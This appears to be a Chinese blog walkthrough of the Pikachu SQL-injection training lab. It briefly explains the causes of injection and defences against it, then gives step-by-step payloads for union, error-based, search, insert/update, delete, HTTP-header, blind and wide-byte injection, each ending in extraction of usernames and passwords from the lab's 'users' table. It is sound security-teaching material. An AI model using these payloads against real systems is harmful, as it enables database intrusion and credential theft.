在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!


数字型注入(post)

方法一:手工UNION联合查询注入

1.抓包发送到repeater模块,分别在id=1后面输入and 1=1与and 1=2

and 1=1 未报错

and  1=2 报错

2.暴出字段数,order by 2未报错,order by 3报错,说明只有两个字段

3.用联合查询暴出位置,id为错误值,id=0 union select 1,2

4.暴出数据库名,

id=0 union select 1,database()

5.暴出表名,

id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

6.管理员的账号密码可能在users表中,暴出列名,

id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

7.暴出值,

id=0 union select 1,group_concat(username,0x3a,password) from users

方法二:手工报错型注入

1.暴出库名,id为正确值,id=1 and extractvalue(1,concat(0x7e,(select database())))

2.暴出表名,

id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))

3.暴出列名,

id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))

4.未完全显示,使用not in暴出未显示的

5.暴出值,

id=1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))),同理未显示的可以用not in暴出

方法三:自动注入sqlmap

不做累述。


字符型注入(get)

1.单引号测试,报错

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1'&submit=%E6%9F%A5%E8%AF%A2

2.添加注释符,未报错,确定为单引号字符型注入,

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1' --+&submit=%E6%9F%A5%E8%AF%A2

3.暴出字段数,order by 2未报错,order by 3报错,说明只有两个字段,

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1' order by 2 --+&submit=%E6%9F%A5%E8%AF%A2

4.爆出位置,

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1' union select 1,2 --+&submit=%E6%9F%A5%E8%AF%A2

5.暴出表名,

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&submit=%E6%9F%A5%E8%AF%A2

6.暴出字段,

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&submit=%E6%9F%A5%E8%AF%A2

7.暴出值,

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1' union select 1,group_concat(username,0x3a,password) from users --+&submit=%E6%9F%A5%E8%AF%A2

数字型注入(post)的方法二、三同样适用于本题


搜索型注入

1.原理分析

select username,id,email from member where username like '%$name%'

这句SLQ语句就是基于用户输入的name的值在表member中搜索匹配username,但是如果输入 'and 1=1 and '%'=' 就变成了

select username,id,email from member where username like '%$name'and 1=1 and '%'='%'

·搜索型注入的判断方法:

1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;
2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况
4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况
5 根据两次的返回情况来判断是不是搜索型文本框注入了

·下面方法也可以测试

'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='

2.判断是否可注入,尝试构造

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=0%'  &submit=%E6%90%9C%E7%B4%A2,报错

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=0%' --+&submit=%E6%90%9C%E7%B4%A2,未报错

3.暴字段数,order by 3未报错

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=0%' order by 4 --+&submit=%E6%90%9C%E7%B4%A2

4.爆出位置,

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=0%' union select 1,2,3 --+&submit=%E6%90%9C%E7%B4%A2

5.暴出表名,

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=0%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+&submit=%E6%90%9C%E7%B4%A2

6.暴出列名,

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=0%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+&submit=%E6%90%9C%E7%B4%A2

7.暴出值,

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=0%' union select 1,2,group_concat(username,0x3a,password) from users --+&submit=%E6%90%9C%E7%B4%A2


xx型注入

1.先单引号测试判断,

http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=0' &submit=%E6%9F%A5%E8%AF%A2#

2.报这样的错,尝试构造,

http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=0') &submit=%E6%9F%A5%E8%AF%A2#,报错

http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=0') --+&submit=%E6%9F%A5%E8%AF%A2#,未报错

3.判断字段数,order by 2未报错

http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=0') order by 3--+&submit=%E6%9F%A5%E8%AF%A2#

4.爆出位置,

http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=0') union select 1,2 --+&submit=%E6%9F%A5%E8%AF%A2#

5.暴出表名,

http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=0') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&submit=%E6%9F%A5%E8%AF%A2#

6.暴出列名,

http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=0') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&submit=%E6%9F%A5%E8%AF%A2#

7.暴出值,

http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=0') union select 1,group_concat(username,0x3a,password) from users --+&submit=%E6%9F%A5%E8%AF%A2#


insert/update注入

1.用单引号判断,

2.存在注入,前面的单引号闭合前面的单引号,后面的单引号闭合后面的单引号,两个or之间就可以填入我们的代码,可以直接把报错的代码插入进去,暴出库名,

' or updatexml(1,concat(0x7e,(database())),0) or '

3.同理,暴出表,

' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) or '

4.暴出列名

' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),0) or '

5.暴出值

' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),0) or '


delete注入

1.删除留言同时抓包,发送到repeater模块,可以在repeater里面的id进行闭合操作,因为它传的是个id是个 数字型,所以我们不需要用单引号进行闭合,

因为这个参数实在uil里面提交的,所以我们需要在burp上对这个payload做一个URL的编码

2.暴出库名,

id=63+or+updatexml(1,concat(0x7e,(select+database())),0)

3.暴出表名,

id=63+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase())),0)

4.暴出列名,

id=63+or+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name%3d'users')),0)

5.暴出值,

id=63+or+updatexml(1,concat(0x7e,(select+group_concat(username,0x3a,password)+from+users)),0)


http header注入

1.输入数据查看,

2.抓包查看,发送到repeater模块,把Accept中的内容删掉,加上单引号测试,报错,说明可能有注入,

3.构造payload,暴出库名,

User-Agent: ' or updatexml(1,concat(0x7e,(select database())),0) or '

4.暴出表名,

User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) or '

5.暴出列名,

User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),0) or '

6.暴出值,

User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),0) or '


盲注(base on boolian)

1.基于布尔的盲注(boolean),判断,

kobe' and 1=1#

2.逐字节猜解,

报错:kobe' and ascii(substr(database(),1,1))>112#

未报错:kobe' and ascii(substr(database(),1,1))=112#

3.这样逐字节猜解库名、表名、列名和值,过于繁琐,建议使用工具。


盲注(base on time)

1.基于时间的盲注,判断,响应时间差不多五秒,存在注入,

kobe' and sleep(5)#

2.猜解暴库,

秒响应:kobe' and if((substr(databese(),1,1))='s',sleep(5),null)#

响应时间五秒:kobe' and if((substr(databese(),1,1))='p',sleep(5),null)#

说明库名第一个首字母为p

3.继续猜解,过于繁琐,建议使用工具


宽字节注入

1.在magic_quotes_gpc=On的情况下,提交的参数中如果带有单引号’,就会被自动转义\’,使很多注入攻击无效,

GBK双字节编码:一个汉字用两个字节表示,首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),刚好涵盖了转义符号对应的编码0×5C。

0xD50×5C 对应了汉字“诚”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c 经URL解码后为“诚”。

2.输入%d5',报错,存在宽字节注入,

3.暴字段位数,order by 2未报错,order by 3报错,存在两个字段,

4.爆出位置,

name=1%d5' union select 1,2 --+

5.暴出表名,

name=1%d5' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

6.暴出列名,table_name='users' 也存在单引号,需要把users十六进制编码0x7573657273,

name=1%d5' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

7.暴出值,

name=1%d5' union select 1,group_concat(username,0x3a,password) from users --+


Pikachu-Sql Inject(SQL注入)的更多相关文章

  1. sql server手工注入

    sql server手工注入 测试网站testasp.vulnweb.com 1. http://testasp.vulnweb.com/showforum.asp?id=0 http://testa ...

  2. mybatis 的sql语句及使用mybatis的动态sql mybatis防注入

    由于看到写的比较详细的文档这里将之前的删掉了,只留下一些我认为能帮助理解的和关于动态sql及防注入的一些理解.文档链接  :mybatis官方文档介绍 <!-- 根据条件查询用户 --> ...

  3. 【Mysql sql inject】【入门篇】SQLi-Labs使用 part 1【01-11】

    人员流动性过大一直是乙方公司痛点.虽然试用期间都有岗前学习,但老员工忙于项目无暇带新人成长,入职新人的学习基本靠自己不断摸索.期望看相关文档就可以一蹴而是不现实的.而按部就班的学习又很难短期内将知识有 ...

  4. SQLmap是一款用来检测与利用SQL漏洞的注入神器。

    sqlmap 重要参考 http://www.kali.org.cn/forum-75-1.html SQLmap是一款用来检测与利用SQL漏洞的注入神器.开源的自动化SQL注入工具,由Python写 ...

  5. DVWA中SQL回显注入

    一.SQL注入简介 1.1 SQL语句就是操作数据库的语句,SQL注入就是通过web程序在数据库里执行任意SQL语句. SQL 注入是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问和修改数据, ...

  6. (非原)SQL注入专题--整理帖 && like 语句拼sql 如何防止注入攻击。

    原地址:blog.csdn.net/lvjin110/article/details/28697695 like 语句拼sql 如何防止注入攻击?http://bbs.csdn.net/topics/ ...

  7. Fortify Audit Workbench 笔记 SQL Injection SQL注入

    SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...

  8. [转]sql二次注入

    01 二次注入原理 二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入.防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据 ...

  9. SQL Server SQL性能优化之--通过拆分SQL提高执行效率,以及性能高低背后的原因

    复杂SQL拆分优化 拆分SQL是性能优化一种非常有效的方法之一, 具体就是将复杂的SQL按照一定的逻辑逐步分解成简单的SQL,借助临时表,最后执行一个等价的逻辑,已达到高效执行的目的 一直想写一遍通过 ...

  10. SQL Server SQL分页查询

    SQL Server SQL分页查询的几种方式 目录 0.    序言 1.    TOP…NOT IN… 2.    ROW_NUMBER() 3.    OFFSET…FETCH 4.    执行 ...

随机推荐

  1. java架构之路-(netty专题)netty的基本使用和netty聊天室

    上次回顾: 上次博客,我们主要说了我们的IO模型,BIO同步阻塞,NIO同步非阻塞,AIO基于NIO二次封装的异步非阻塞,最重要的就是我们的NIO,脑海中应该有NIO的模型图. Netty概念: Ne ...

  2. HDU_5058_set

    http://acm.hdu.edu.cn/showproblem.php?pid=5058 set容器的使用,set中保持元素的唯一性和有序性. 也可以用排序加离散化来模拟. #include< ...

  3. num07---工厂方法模式

    一.简单工厂模式 [之所以叫简单,说明没有完全做到 设计模式的要求] 前言:活字印刷术,面向对象思想 复用 维护 扩展 灵活 高内聚低耦合 以 实现 一个计算器 为例: 1.创建 抽象类count, ...

  4. JUC中的锁

    ★.不同角度的锁的理解: #1.公平锁.非公平锁 公平锁:eg: ReentrantLock 关键词:先来先服务. 加锁前检查是否有排队等锁的线程,若有,当前线程参与排队,先排的线程优先获取锁.相对没 ...

  5. 基于 HTML5 WebGL 的智慧楼宇三维可视化监控

    前言 可视化的智慧楼宇在 21 世纪是有急迫需求的,中国被世界称为"基建狂魔",全球高层建筑数量位居首位,所以对于楼宇的监控是必不可少.智慧楼宇可视化系统更多突出的是管理方面的功能 ...

  6. Docker的基本使用与简介

    1 Docker简介 1.1 什么是虚拟化 在计算机中,虚拟化(英语:Virtualization)是一种资源管理技术,是将计算机的各种实体资源,如服务器.网络.内存及存储等,予以抽象.转换后呈现出来 ...

  7. False注入,以及SQL注入技巧总结

    title: False注入,以及SQL注入技巧总结 date: 2017-04-25 00:23:31 tags: ['SQL注入'] --- 利用False我们可以绕过一些特定的WAF以及一些未来 ...

  8. ASP.NET Core MVC 中实现中英文切换

    哈喽..大家好 很久没有更新了,今天就来一篇最近开发用到的功能,那就是中英文切换,这个实际上也不是高大上,先说一下原理,在.NET Core框架中给我们提供了全球化的类,叫做Localization, ...

  9. 记一次kubernetes驱逐踩坑

    最近在公司的线上服务器上发现了一个现象: 将某个node的kubelet短暂的停掉之后,其上的pod马上会被驱逐,这让笔者大吃一惊,印象之中,停掉kubelet后,该node会变为NotReady状态 ...

  10. 自动化运维利器 Fabric

    Fabric 主要用在应用部署与系统管理等任务的自动化,简单轻量级,提供有丰富的 SSH 扩展接口.在 Fabric 1.x 版本中,它混杂了本地及远程两类功能:但自 Fabric 2.x 版本起,它 ...